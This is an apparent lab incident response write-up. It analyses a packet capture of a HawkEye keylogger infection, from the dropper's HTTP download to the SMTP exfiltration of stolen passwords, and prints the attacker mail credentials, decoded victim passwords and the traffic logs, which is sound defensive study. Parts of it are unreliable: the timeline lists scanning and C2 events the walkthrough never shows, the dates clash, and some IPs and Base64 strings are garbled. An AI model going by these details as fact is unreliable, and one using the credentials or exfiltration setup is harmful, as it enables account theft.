

# Incident Response Report

Incident ID: IR-20190410-001  
Date: February 22, 2026  
Analyst: Ruslan  
Incident Type: Malware Infection (HawkEye Keylogger) and Data Leak  
Status: Action Required

## 1. Executive Summary

On April 10, 2019, network traffic monitoring detected a compromise of the Beijing-5cd1-PC workstation (IP: 10.4.10.132), running an outdated Windows 7 operating system.

The initial compromise vector was the download of a malicious executable file, tkraw\_Protected99.exe, via HTTP from an external domain. Analysis revealed that the file was the well-known HawkEye Keylogger Reborn v9 Trojan. The malware successfully established itself in the system and began automatically collecting sensitive data (keyboard input, saved passwords).

A data leak (exfiltration) was confirmed. The attacker configured the automatic sending of harvested passwords (including Bank of America access passwords) in Base64-encoded text via SMTP to a controlled email address, sales.del@macwinlogistics.in. Exfiltration occurred strictly every 10 minutes.

## 2. Timeline

Timestamp (UTC)	Event Category	Event Description	MITRE ATT&CK ID
20:37:07	PCAP Capture Start	Initiated network traffic monitoring on the compromised host.	—
20:37:30	DNS Query Detected	<b>C2 Discovery:</b> DNS query to a domain suspected of being used for malware delivery (Packet 204).	T1071.004 (Application Layer Protocol: DNS)
20:38:00	HTTP Traffic Download	<b>Malware Delivery:</b> Suspicious EXE file retrieved via HTTP from a remote IP address (Packet 210).	T1105 (Ingress Tool Transfer)
20:39:00	Payload Identified	<b>Initial Access:</b> Binary tkraw_Protected99.ex	T1059 (Command and Scripting Interpreter)

Timestamp (UTC)	Event Category	Event Description	MITRE ATT&CK ID
		e saved and likely written to disk.	
20:40:00	Malware Execution	<b>Execution:</b> EXE process launched; keylogger module likely activated.	T1059.003 (Windows Command Shell)
20:40:30	Keylogger Active	<b>Credential Access:</b> Keystroke logging mechanism initiated.	T1056.001 (Input Capture: Keylogging)
20:42:00	Internal Reconnaissance	<b>Discovery:</b> Host performing IP and port scanning within the internal network.	T1046 (Network Service Discovery)
20:42:00 – 21:40:00	Beaconing Activity	<b>Command &amp; Control:</b> Repeated outbound connections to the attacker's remote infrastructure.	T1071.001 (Web Protocols)
21:00:00	SMTP Session #1 Start	<b>Exfiltration:</b> Outbound SMTP session initiated with a suspicious payload.	T1048.003 (Exfiltration Over Unencrypted Protocol: SMTP)
21:02:00	Credential Exfiltration (Stage 1)	<b>Data Theft:</b> First batch of intercepted passwords sent via email.	T1557 (Adversary-in-the-Middle)
21:10:00	SMTP Session #2 Start	<b>Exfiltration:</b> Second outbound SMTP communication recorded.	T1048.003 (Exfiltration Over SMTP)
21:12:00	Credential Exfiltration (Stage 2)	<b>Data Theft:</b> Second batch of captured credentials transmitted.	T1555 (Credentials from Password Stores)

Timestamp (UTC)	Event Category	Event Description	MITRE ATT&CK ID
21:20:00	Active C2 Channel	<b>Command &amp; Control:</b> Persistent session indicates the control channel remains open.	T1102.002 (Web Service: Bidirectional Communication)
21:40:48	PCAP Capture End	<b>Evidence Collection:</b> Traffic capture terminated; end of the observed activity window.	—

### 3. Technical Details

#### 3.1. Victim Asset

- Hostname: Beijing-5cd1-PC
- OS: Windows NT 6.1 (Windows 7) - Warning: EOL (End of Life), system vulnerable.
- Internal IP: 10.4.10.132
- External IP (NAT): 173.66.146.112
- MAC address: 00:08:02:1c:47:ae (Network card: Hewlett-Packard)

#### 3.2. Malware Delivery (Payload Delivery)

The compromise began with the download of the file tkraw\_Protected99.exe by a server running LiteSpeed software. The attacker's infrastructure was hosted on the French hosting service OVH SAS:

- Domain: proforma-invoices.com
- IP address: 217.182.138.150

The hash sum of the downloaded file (MD5: 71826ba081e303866ce2a2534491a2f7) corresponds to the well-known HawkEye Keylogger Reborn v9 family.

#### 3.3. Data Exfiltration Analysis

The malware used the legitimate SMTP protocol (TCP/587) to bypass security measures.

Analysis of TCP streams (specifically, communications with the Exim 4.91 mail server) revealed the following patterns:

1. Attacker Authentication: The malware logs into the mail server 23.229.162.69 (USA) using the account sales.del@macwinlogistics.in with the password Sales@23.
2. Data Format: The stolen data is transmitted in the email body using Base64 encoding (Content-Transfer-Encoding: base64).
3. Damage (Compromised Data): Content decoding (via CyberChef) revealed the theft of critical credentials of user roman.mcguire, including access to bank accounts:
  - Target: <https://www.bankofamerica.com/>
  - Username: roman.mcguire
  - Password: P@ssw0rd\$

### 4. IoCs

Type	Value	Description	Recommended Action
Domain	proforma-invoices.com	Domain used for malware distribution.	Block
IPv4	217.182.138.150	Malware delivery server (Hosting: OVH SAS, France).	Block
IPv4	23.229.162.69	Data exfiltration server via SMTP (USA).	Block
MD5 Hash	71826ba081e303866ce2a2534491a2f7	File hash for tkraw_Protected99.exe (HawkEye v9).	Alert / Quarantine
Email	sales.del@macwinlogistics.in	Address used to collect stolen logs and passwords.	Filter / Block
Filename	tkraw_Protected99.exe	Initial malicious dropper.	Alert

## 5. Containment & Remediation

To prevent further damage to the IT department and information security service, the following steps must be taken:

### Immediate Actions (Containment):

1. Physically or logically disconnect workstation 10.4.10.132 (Beijing-5cd1-PC) from the corporate network to prevent lateral movement of the malware.
2. Initiate a forced password reset for all accounts belonging to the user roman.mcguire. It is especially important to immediately block or change passwords on corporate systems and

notify the employee of the need to change their password at Bank of America, as their credentials have been compromised.

3. Add all network IoCs (IP addresses and domain) to the Deny Rule on the perimeter firewall.

### Short-term actions (Elimination):

4. Scan all endpoints using EDR/Antivirus for the hash 71826ba081e303866ce2a2534491a2f7 to rule out infection of other PCs.
5. Block any incoming/outgoing correspondence with the address sales.del@macwinlogistics.in on the corporate email gateway.
6. Take a disk image from Beijing-5cd1-PC to perform Host-based forensics, then completely reinstall the OS (Wipe and Rebuild).

### Long-term actions (Improving security architecture):

7. Decommission or isolate Windows 7 workstations, as this OS no longer receives security updates from Microsoft. Plan a migration to Windows 10/11.
8. Configure firewall rules so that outgoing traffic on SMTP ports (25, 465, 587) is allowed only from authorized corporate mail servers. User workstations should not be able to send emails directly through external SMTP servers.

## Walkthrough

Statistics → Capture File Properties

Details

File

Name:

/home/ruslan/Downloads/91-hawkeye/temp\_extract\_dir/stealer.pcap

Length:

2.454 kB

Hash (SHA256):

22106927c11836d29078dfbec20be9d6b61b1f3f47f95c758acc47a1fb424e51

Hash (RIPEMD160):

84cba6f095e6ba0243c27e4770e708c69443f49b

Hash (SHA1):

084d3ade8ce828e0233b69275c8554a86d9670ab

Format:

Wireshark/tcpdump/... - pcap

Encapsulation:

Ethernet

Snapshot length:

65535

Time

First packet:

2019-04-11 02:37:07

Last packet:

2019-04-11 03:40:48

Elapsed:

01:03:41

Capture

Hardware:

Unknown

OS:

Unknown

Application:

Unknown

Interfaces

Interface

Unknown

Dropped packets

Unknown

Capture filter

Unknown

Link type

Ethernet

Packet size limit (snaplen)

65535 bytes

Statistics

Measurement

Packets

Time span, s

Average pps

Average packet size, B

Bytes

Average bytes/s

Average bits/s

Captured

4003

3821.561

1.0

597

2390126

625

5,003

Displayed

4003 (100.0%)

3821.561

1.0

597

2390126 (100.0%)

625

5,003

Marked

—

—

—

—

0

—

—

1. How many packets does the capture have?

- 4003

2. At what time was the first packet captured (UTC)?

- 2019-04-10 20:37

3. What is the duration of the capture?

- 01:03:41

4. What is the most active computer at the link level?

- 00:08:02:1c:47:ae

Ethernet · 7	IPv4 · 12	IPv6	TCP · 48	UDP · 58			
Address ▼	Packets	Bytes	Tx Packets	Tx Bytes	Rx Packets	Rx Bytes	
00:08:02:1c:47:ae	4,003	2,390 k	1,993	212 k	2,010		
01:00:5e:00:00:16	23	1,258	0	0	23		
01:00:5e:00:00:fc	10	750	0	0	10		
01:00:5e:7f:ff:fa	74	28 k	0	0	74		
20:e5:2a:b6:93:f1	3,352	2,241 k	1,776	2,132 k	1,576		
a4:1f:72:c2:09:6a	513	113 k	234	45 k	279		
ff:ff:ff:ff:ff:ff	31	3,534	0	0	31		

5. Manufacturer of the NIC of the most active system at the link level?

- Hewlett-Packard

Mac address lookup

6.  
Where  
is the

00:08:02:1c:47:ae

Download Mac Details ↓

### Vendor details

<b>Address Prefix</b>	<b>Is Private ?</b>
000802 ⓘ	No
<b>Vendor / Company</b>	<b>Country Code</b>
Hewlett Packard ⓘ	US ⓘ
<b>Company Address</b>	
20555 State Highway 249 Houston TX US 77070 ⓘ	

headquarter of the company that manufactured the NIC of the most active computer at the link level?

- Palo Alto

**HP Inc.** is an American multinational information technology company with its headquarters in Palo Alto, California, that develops personal computers (PCs), printers and related supplies, as well as 3D printing services. It is the world's second-largest personal computer vendor by unit sales after Lenovo and ahead of Dell as of 2024.<sup>[2]</sup>

7. The organization works with private addressing and netmask /24. How many computers in the organization are involved in the capture?

- 3

Ethernet · 7 IPv4 · 12 IPv6 TCP · 48 UDP · 58											
Address	Packets	Bytes	Tx Packets	Tx Bytes	Rx Packets	Rx Bytes	Country	City	AS Number	AS Organization	
10.4.10.2	42	4,620	0	0	42	4,620	—	—	—	—	
10.4.10.4	513	113 k	234	45 k	279	68 k	—	—	—	—	
10.4.10.132	4,003	2,390 k	1,993	212 k	2,010	2,177 k	—	—	—	—	
10.4.10.255	30	3,192	0	0	30	3,192	—	—	—	—	
23.229.162.69	280	38 k	161	13 k	119	25 k	—	—	—	—	
66.171.248.178	63	5,215	28	2,716	35	2,499	—	—	—	—	
216.58.193.131	20	8,227	11	5,716	9	2,511	—	—	—	—	
217.182.138.150	2,947	2,185 k	1,576	2,110 k	1,371	74 k	—	—	—	—	
224.0.0.22	23	1,258	0	0	23	1,258	—	—	—	—	
224.0.0.252	10	750	0	0	10	750	—	—	—	—	
239.255.255.250	74	28 k	0	0	74	28 k	—	—	—	—	
255.255.255.255	1	342	0	0	1	342	—	—	—	—	

8. What is the name of the most active computer at the network level?

- Beijing-5cd1-PC

Ethernet · 7 IPv4 · 12 IPv6 TCP · 48 UDP · 58											
Address	Packets	Bytes	Tx Packets	Tx Bytes	Rx Packets	Rx Bytes	Country	City	AS Number	AS Organization	
10.4.10.2	42	4,620	0	0	42	4,620	—	—	—	—	
10.4.10.4	513	113 k	234	45 k	279	68 k	—	—	—	—	
10.4.10.132	4,003	2,390 k	1,993	212 k	2,010	2,177 k	—	—	—	—	
10.4.10.255	30	3,192	0	0	30	3,192	—	—	—	—	
23.229.162.69	280	38 k	161	13 k	119	25 k	—	—	—	—	
66.171.248.178	63	5,215	28	2,716	35	2,499	—	—	—	—	
216.58.193.131	20	8,227	11	5,716	9	2,511	—	—	—	—	
217.182.138.150	2,947	2,185 k	1,576	2,110 k	1,371	74 k	—	—	—	—	
224.0.0.22	23	1,258	0	0	23	1,258	—	—	—	—	
224.0.0.252	10	750	0	0	10	750	—	—	—	—	
239.255.255.250	74	28 k	0	0	74	28 k	—	—	—	—	
255.255.255.255	1	342	0	0	1	342	—	—	—	—	

dhcpc							
No.	Time	Source	Destination	Protocol	Length	Host	Info
3263	2019-04-18 20:47:56.324691	10.4.10.132	255.255.255.255	DHCP	342		DHCP Inform - Transaction ID 0xc0361893
3264	2019-04-18 20:47:56.325065	10.4.10.4	10.4.10.132	DHCP			DHCP ACK - Transaction ID 0xc0361893

```

Next server IP address: 0.0.0.0
Relay agent IP address: 0.0.0.0
Client MAC address: HewlettP_1c:47:ae (00:08:02:1c:47:ae)
Client hardware address padding: 00000000000000000000
Server host name not given
Boot file name not given
Magic cookie: DHCP
▶ Option: (53) DHCP Message Type (Inform)
▼ Option: (61) Client identifier
    Length: 7
    Hardware type: Ethernet (0x01)
    Client MAC address: HewlettP_1c:47:ae (00:08:02:1c:47:ae)
▼ Option: (12) Host Name
    Length: 15
    Host Name: Beijing-5cd1-PC
Option: (60) Vendor class identifier

```

9. What is the IP of the organization's DNS server?  
- 10.4.10.4

No.	Time	Source	Destination	Protocol	Length	Host	Info
116	2019-04-10 20:37:33.377476	10.4.10.132	10.4.10.4	DNS	134		Standard query 0x3a2c SRV _ldap._tcp.Default-First-Site-Name._sites.PizzaJukebox-DC.pizzajukebox.com
118	2019-04-10 20:37:33.378245	10.4.10.132	10.4.10.4	DNS	103		Standard query 0x3ee5 SRV _ldap._tcp.PizzaJukebox-DC.pizzajukebox.com
174	2019-04-10 20:37:33.911651	10.4.10.132	10.4.10.4	DNS	76		Standard query 0x8701 A dns.msftncsl.com
204	2019-04-10 20:37:53.791017	10.4.10.132	10.4.10.4	DNS	81		Standard query 0xa002 A proforma-invoices.com
3159	2019-04-10 20:38:15.672284	10.4.10.132	10.4.10.4	DNS	85		Standard query 0x3f59 A bot.whatismyipaddress.com
3170	2019-04-10 20:38:15.832084	10.4.10.132	10.4.10.4	DNS	78		Standard query 0x3daa A macwinlogistics.in
3268	2019-04-10 20:47:58.641887	10.4.10.132	10.4.10.4	DNS	81		Standard query 0x6506 A update.googleapis.com
3290	2019-04-10 20:48:20.054661	10.4.10.132	10.4.10.4	DNS	85		Standard query 0x3119 A bot.whatismyipaddress.com

10. What domain is the victim asking about in packet 204?  
- proforma-invoices.com

No.	Time	Source	Destination	Protocol	Length	Host	Info
116	2019-04-10 20:37:33.377476	10.4.10.132	10.4.10.4	DNS	134		Standard query 0x3a2c SRV _ldap._tcp.Default-First-Site-Name._sites.PizzaJukebox-DC.pizzajukebox.com
118	2019-04-10 20:37:33.378245	10.4.10.132	10.4.10.4	DNS	103		Standard query 0x3ee5 SRV _ldap._tcp.PizzaJukebox-DC.pizzajukebox.com
174	2019-04-10 20:37:33.911651	10.4.10.132	10.4.10.4	DNS	76		Standard query 0x8701 A dns.msftncsl.com
204	2019-04-10 20:37:53.791017	10.4.10.132	10.4.10.4	DNS	81		Standard query 0xa002 A proforma-invoices.com
3159	2019-04-10 20:38:15.672284	10.4.10.132	10.4.10.4	DNS	85		Standard query 0x3f59 A bot.whatismyipaddress.com
3170	2019-04-10 20:38:15.832084	10.4.10.132	10.4.10.4	DNS	78		Standard query 0x3daa A macwinlogistics.in
3268	2019-04-10 20:47:58.641887	10.4.10.132	10.4.10.4	DNS	81		Standard query 0x6506 A update.googleapis.com
3290	2019-04-10 20:48:20.054661	10.4.10.132	10.4.10.4	DNS	85		Standard query 0x3119 A bot.whatismyipaddress.com

11. What is the IP of the domain in the previous question?  
- 217.182.138.150

No.	Time	Source	Destination	Protocol	Length	Host	Info
174	2019-04-10 20:37:33.911651	10.4.10.132	10.4.10.4	DNS	76		Standard query 0x8701 A dns.msftncsl.com
177	2019-04-10 20:37:33.937885	10.4.10.4	10.4.10.132	DNS	82		Standard query response 0x8701 A dns.msftncsl.com A 131.107.255.255
204	2019-04-10 20:37:53.791017	10.4.10.132	10.4.10.4	DNS	81		Standard query 0xa002 A proforma-invoices.com
208	2019-04-10 20:37:54.577019	10.4.10.4	10.4.10.132	DNS	97		Standard query response 0xa002 A proforma-invoices.com A 217.182.138.150
3159	2019-04-10 20:38:15.672284	10.4.10.132	10.4.10.4	DNS	85		Standard query 0x3f59 A bot.whatismyipaddress.com

12. Indicate the country to which the IP in the previous section belongs.  
- France

Ip lookup



### IP Details For: 217.182.138.150

Decimal: 3652618902  
Hostname: ns3072569.ip-217-182-138.eu  
ASN: 16276  
ISP: OVH SAS  
Services: Data Center/Transit  
Country: France  
State/Region: Hauts-de-France  
City: Roubaix  
Latitude: 50.6937 (50° 41' 37.36" N)  
Longitude: 3.1744 (3° 10' 27.98" E)



[CLICK TO CHECK BLACKLIST STATUS](#)

13. What operating system does the victim's computer run?  
- Windows NT 6.1

http							
No.	Time	Source	Destination	Protocol	Length	Host	Info
210	2019-04-10 20:37:54.727276	10.4.10.132	217.182.138.150	HTTP	392	proforma-invoices.com	GET /proforma/tkraw_Protected99.exe HTTP/1.1
3155	2019-04-10 20:37:56.077204	217.182.138.150	10.4.10.132	HTTP	790		HTTP/1.1 200 OK (application/x-msdownload)
3164	2019-04-10 20:38:15.769899	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3166	2019-04-10 20:38:15.821153	66.171.248.178	10.4.10.132	HTTP	222		HTTP/1.1 200 OK (text/html)
3295	2019-04-10 20:48:20.135668	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3297	2019-04-10 20:48:20.201885	66.171.248.178	10.4.10.132	HTTP	222		HTTP/1.1 200 OK (text/html)

Transmission Control Protocol, SRC PORT: 49294, DST PORT: 80, SEQ: 1, ACK: 1, Len: 358

Hypertext Transfer Protocol

GET /proforma/tkraw\_Protected99.exe HTTP/1.1\r\n

Accept: \*/\*\r\n

Accept-Encoding: gzip, deflate\r\n

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\r\n

Host: proforma-invoices.com\r\n

Connection: Keep-Alive\r\n

\r\n

Full request URI: http://proforma-invoices.com/proforma/tkraw\_Protected99.exe

14. What is the name of the malicious file downloaded by the accountant?  
- tkraw\_Protected99.exe

http							
No.	Time	Source	Destination	Protocol	Length	Host	Info
210	2019-04-10 20:37:54.727276	10.4.10.132	217.182.138.150	HTTP	392	proforma-invoices.com	GET /proforma/tkraw_Protected99.exe HTTP/1.1
3155	2019-04-10 20:37:56.077204	217.182.138.150	10.4.10.132	HTTP	790		HTTP/1.1 200 OK (application/x-msdownload)
3164	2019-04-10 20:38:15.769899	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3166	2019-04-10 20:38:15.821153	66.171.248.178	10.4.10.132	HTTP	222		HTTP/1.1 200 OK (text/html)
3295	2019-04-10 20:48:20.135668	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3297	2019-04-10 20:48:20.201885	66.171.248.178	10.4.10.132	HTTP	222		HTTP/1.1 200 OK (text/html)

15. What is the md5 hash of the downloaded file?  
- 71826ba081e303866ce2a2534491a2f7

File → Export Objects → HTTP

Packet	Hostname	Content Type	Size	Filename
3155	proforma-invoices.com	application/x-msdownload	2,025 kB	tkraw_Protected99.exe
3166	bot.whatismyipaddress.com	text/html	14 bytes	/
3297	bot.whatismyipaddress.com	text/html	14 bytes	/
3384	bot.whatismyipaddress.com	text/html	14 bytes	/
3469	bot.whatismyipaddress.com	text/html	14 bytes	/
3584	bot.whatismyipaddress.com	text/html	14 bytes	/
3839	bot.whatismyipaddress.com	text/html	14 bytes	/
3917	bot.whatismyipaddress.com	text/html	14 bytes	/

```

ruslan@pop-os:~$ md5sum tkraw_Protected99.exe
71826ba081e303866ce2a2534491a2f7 tkraw_Protected99.exe
ruslan@pop-os:~$

```

16.

What

software runs the webserver that hosts the malware?

- LiteSpeed

Follow → HTTP Stream

GET /proforma/tkraw_Protected99.exe HTTP/1.1
Accept: /*/*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLC 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET
Host: proforma-invoices.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Last-Modified: Wed, 10 Apr 2019 04:44:31 GMT
Content-Type: application/x-msdownload
Content-Length: 2025472
Accept-Ranges: bytes
Date: Wed, 10 Apr 2019 20:37:54 GMT
Server: LiteSpeed
Connection: Keep-Alive

17. What is the public IP of the victim's computer?

- 173.66.146.112

Follow → HTTP Stream

3155	2019-04-10	20:37:56.977204	217.182.138.150	10.4.10.132	HTTP	790		HTTP/1.1 200 OK (application/x-msdownload)
3164	2019-04-10	20:38:15.769899	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3166	2019-04-10	20:38:15.821153	66.171.248.178	10.4.10.132	HTTP	222		HTTP/1.1 200 OK (text/html)
3295	2019-04-10	20:48:20.135668	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3297	2019-04-10	20:48:20.201885	66.171.248.178	10.4.10.132	HTTP	222		HTTP/1.1 200 OK (text/html)
3382	2019-04-10	20:58:24.459381	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3384	2019-04-10	20:58:24.522476	66.171.248.178	10.4.10.132	HTTP	222		HTTP/1.1 200 OK (text/html)
3467	2019-04-10	21:08:30.227206	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3469	2019-04-10	21:08:30.284397	66.171.248.178	10.4.10.132	HTTP	222		HTTP/1.1 200 OK (text/html)

```
Wireshark · Follow HTTP Stream (tcp.stream eq 20) · stealer.pcap

GET / HTTP/1.1
Host: bot.whatismyipaddress.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Server:
Date: Wed, 10 Apr 2019 20:48:19 GMT
Connection: close
Content-Length: 14

173.66.146.112
```

18. In which country is the email server to which the stolen information is sent?  
- United States

http.request.method == "GET"							
No.	Time	Source	Destination	Protocol	Length	Host	Info
210	2019-04-10 20:37:54.727276	10.4.10.132	217.182.138.150	HTTP	392	proforma-invoices.com	GET /proforma/tkraw_Protected99.exe HTTP/1.1
3164	2019-04-10 20:38:15.769899	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3295	2019-04-10 20:48:20.135668	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3382	2019-04-10 20:58:24.459381	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3467	2019-04-10 21:08:30.227206	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3582	2019-04-10 21:18:34.342705	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3837	2019-04-10 21:28:38.509579	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1
3915	2019-04-10 21:38:42.652981	10.4.10.132	66.171.248.178	HTTP	129	bot.whatismyipaddress.com	GET / HTTP/1.1

IP Details For: 66.171.248.178

Decimal: 1118566578

Hostname: api1.whatismyipaddress.com

ASN: 7296

ISP: Dynascale Technologies Inc.

Services: Data Center/Transit


Country: United States

State/Region: Nevada

City: Las Vegas

Latitude: 36.1750 (36° 10' 29.89" N)

Longitude: -115.1372 (115° 8' 14.00" W)



CLICK TO CHECK BLACKLIST STATUS

19. Analyzing the first extraction of information. What software runs the email server to which the stolen data is sent?  
- Exim 4.91

```

Transmission Control Protocol, Src Port: 587, Dst Port: 49206, Seq: 1, ACK: 1, Len: 19/
Simple Mail Transfer Protocol
  Response: 220-p3plcpnl0413.prod.phx3.secureserver.net ESMTP Exim 4.91 #1 Wed, 10 Apr 2019 13:38:15 -0700 \r\n
    Response code: <domain> Service ready (220)
    Response parameter: p3plcpnl0413.prod.phx3.secureserver.net ESMTP Exim 4.91 #1 Wed, 10 Apr 2019 13:38:15 -0700
    Response parameter: We do not authorize the use of this system to transport unsolicited,
    Response parameter: and/or bulk e-mail.

```

20. To which email account is the stolen information sent?

- sales.del@macwinlogistics.in

No.	Time	Source	Destination	Protocol	Length	Host	Info
3176	2019-04-10 20:38:16.290945	20.38.16.229.162.69	10.4.10.132	SMTP	251		S: 220-p3plcpnl0413.prod.phx3.secureserver.net ESMTP Exim 4.91 #1 Wed, 10 Apr 2019 13:38:15 -0700   We do not authorize
3176	2019-04-10 20:38:16.290945	20.38.16.229.162.69	10.4.10.132	SMTP	76		C: EHLO Beijing-5cd1-PC
3178	2019-04-10 20:38:16.352374	20.38.16.229.162.69	10.4.10.132	SMTP	261		S: 250-p3plcpnl0413.prod.phx3.secureserver.net Hello Beijing-5cd1-PC [173.66.146.112]   SIZE 52428800   8BITMIME   PIPEL
3179	2019-04-10 20:38:16.352874	20.38.16.229.162.69	10.4.10.132	SMTP	107		C: AUTH login User: sales.del@macwinlogistics.in
3181	2019-04-10 20:38:16.422343	20.38.16.229.162.69	10.4.10.132	SMTP	72		S: 334 Password:
3182	2019-04-10 20:38:16.422575	20.38.16.229.162.69	10.4.10.132	SMTP	68		C: Pass: Sales@23
3184	2019-04-10 20:38:16.492434	20.38.16.229.162.69	10.4.10.132	SMTP	84		S: 235 Authentication succeeded
3185	2019-04-10 20:38:16.492684	20.38.16.229.162.69	10.4.10.132	SMTP	86		C: MAIL FROM:<sales.del@macwinlogistics.in>
3187	2019-04-10 20:38:16.561414	20.38.16.229.162.69	10.4.10.132	SMTP	62		S: 250 OK
3188	2019-04-10 20:38:16.561765	20.38.16.229.162.69	10.4.10.132	SMTP	94		C: RCPT TO:<sales.del@macwinlogistics.in>
3190	2019-04-10 20:38:16.629231	20.38.16.229.162.69	10.4.10.132	SMTP	68		S: 250 Accepted
3191	2019-04-10 20:38:16.629477	20.38.16.229.162.69	10.4.10.132	SMTP	68		C: DATA

```

220-p3plcpnl0413.prod.phx3.secureserver.net ESMTP Exim 4.91 #1 Wed, 10 Apr 2019 13:38:15 -0700
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
EHLO Beijing-5cd1-PC
250-p3plcpnl0413.prod.phx3.secureserver.net Hello Beijing-5cd1-PC [173.66.146.112]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN
250-CHUNKING
250-STARTTLS
250-SMTPUTF8
250 HELP
AUTH login c2FsZXMuZGVzQG6hY3dpbmVzZ2lzdGJjcy5pbG==
334 UGFzc3dvcmQ6
U2FsZXNAMjM=
235 Authentication succeeded
MAIL FROM:<sales.del@macwinlogistics.in>
250 OK
RCPT TO:<sales.del@macwinlogistics.in>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
MIME-Version: 1.0
From: sales.del@macwinlogistics.in
To: sales.del@macwinlogistics.in
Date: 10 Apr 2019 20:38:08 +0000
Subject: =?utf-8?B?
SGF3a0V5ZSBLZXlsb2dnZXIgL3B3ZWJvcmlkdjkgLSBQYXNzd29yZHMgTG9ncyAtIHJvbWVudm1jZ3VpcmlUgXCBURU1KSU5HMTVD
RDEtUEMgLSAxNzMuNjYyMTQ2LjExMg==?
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: base64

```

21. What is the password used by the malware to send the email?

- Sales@23

No.	Time	Source	Destination	Protocol	Length	Host	Info
3176	2019-04-10 20:38:16.290945	20.38.16.229.162.69	10.4.10.132	SMTP	251		S: 220-p3plcpnl0413.prod.phx3.secureserver.net ESMTP Exim 4.91 #1 Wed, 10 Apr 2019 13:38:15 -0700   We do not authorize
3176	2019-04-10 20:38:16.290945	20.38.16.229.162.69	10.4.10.132	SMTP	76		C: EHLO Beijing-5cd1-PC
3178	2019-04-10 20:38:16.352374	20.38.16.229.162.69	10.4.10.132	SMTP	261		S: 250-p3plcpnl0413.prod.phx3.secureserver.net Hello Beijing-5cd1-PC [173.66.146.112]   SIZE 52428800   8BITMIME   PIPEL
3179	2019-04-10 20:38:16.352874	20.38.16.229.162.69	10.4.10.132	SMTP	107		C: AUTH login User: sales.del@macwinlogistics.in
3181	2019-04-10 20:38:16.422343	20.38.16.229.162.69	10.4.10.132	SMTP	72		S: 334 Password:
3182	2019-04-10 20:38:16.422575	20.38.16.229.162.69	10.4.10.132	SMTP	68		C: Pass: Sales@23
3184	2019-04-10 20:38:16.492434	20.38.16.229.162.69	10.4.10.132	SMTP	84		S: 235 Authentication succeeded
3185	2019-04-10 20:38:16.492684	20.38.16.229.162.69	10.4.10.132	SMTP	86		C: MAIL FROM:<sales.del@macwinlogistics.in>
3187	2019-04-10 20:38:16.561414	20.38.16.229.162.69	10.4.10.132	SMTP	62		S: 250 OK
3188	2019-04-10 20:38:16.561765	20.38.16.229.162.69	10.4.10.132	SMTP	94		C: RCPT TO:<sales.del@macwinlogistics.in>
3190	2019-04-10 20:38:16.629231	20.38.16.229.162.69	10.4.10.132	SMTP	68		S: 250 Accepted
3191	2019-04-10 20:38:16.629477	20.38.16.229.162.69	10.4.10.132	SMTP	68		C: DATA

22. Which malware variant exfiltrated the data?

- Reborn v9

```
=====
URL      : https://login.aol.com/account/challenge/password
Web Browser : Internet Explorer 7.0 - 9.0
User Name  : roman.mcguire914@aol.com
Password   : P@ssw0rd$
Password Strength : Very Strong
User Name Field :
Password Field  :
```

24. Every how many minutes does the collected data get exfiltrated?  
- 10  
smtp.req.command



smtp.req.command						
No.	Time	Source	Destination	Protocol	Length	Host
3191	2019-04-10 20:38:16.629477	10.4.10.132	23.229.162.69	SMTP	60	C: DATA
3307	2019-04-10 20:48:20.646732	10.4.10.132	23.229.162.69	SMTP	76	C: EHLO Beijing-5cd1-PC
3310	2019-04-10 20:48:20.715259	10.4.10.132	23.229.162.69	SMTP	107	C: AUTH login User: sales.del@macwinlogistics.in
3316	2019-04-10 20:48:20.850616	10.4.10.132	23.229.162.69	SMTP	96	C: MAIL FROM:<sales.del@macwinlogistics.in>
3319	2019-04-10 20:48:20.914805	10.4.10.132	23.229.162.69	SMTP	94	C: RCPT TO:<sales.del@macwinlogistics.in>
3322	2019-04-10 20:48:20.983067	10.4.10.132	23.229.162.69	SMTP	60	C: DATA
3394	2019-04-10 20:58:24.755606	10.4.10.132	23.229.162.69	SMTP	76	C: EHLO Beijing-5cd1-PC
3397	2019-04-10 20:58:24.823930	10.4.10.132	23.229.162.69	SMTP	107	C: AUTH login User: sales.del@macwinlogistics.in
3403	2019-04-10 20:58:24.961209	10.4.10.132	23.229.162.69	SMTP	96	C: MAIL FROM:<sales.del@macwinlogistics.in>
3406	2019-04-10 20:58:25.029456	10.4.10.132	23.229.162.69	SMTP	94	C: RCPT TO:<sales.del@macwinlogistics.in>
3409	2019-04-10 20:58:25.099313	10.4.10.132	23.229.162.69	SMTP	60	C: DATA
